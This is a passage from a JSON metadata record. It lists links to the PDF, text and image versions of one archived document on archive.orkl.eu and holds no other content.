		"pdf": "https://archive.orkl.eu/a7d97484105cc4c4972e84c7abc1a0e2a8653d0c.pdf",
		"text": "https://archive.orkl.eu/a7d97484105cc4c4972e84c7abc1a0e2a8653d0c.txt",
		"img": "https://archive.orkl.eu/a7d97484105cc4c4972e84c7abc1a0e2a8653d0c.jpg"
	}
}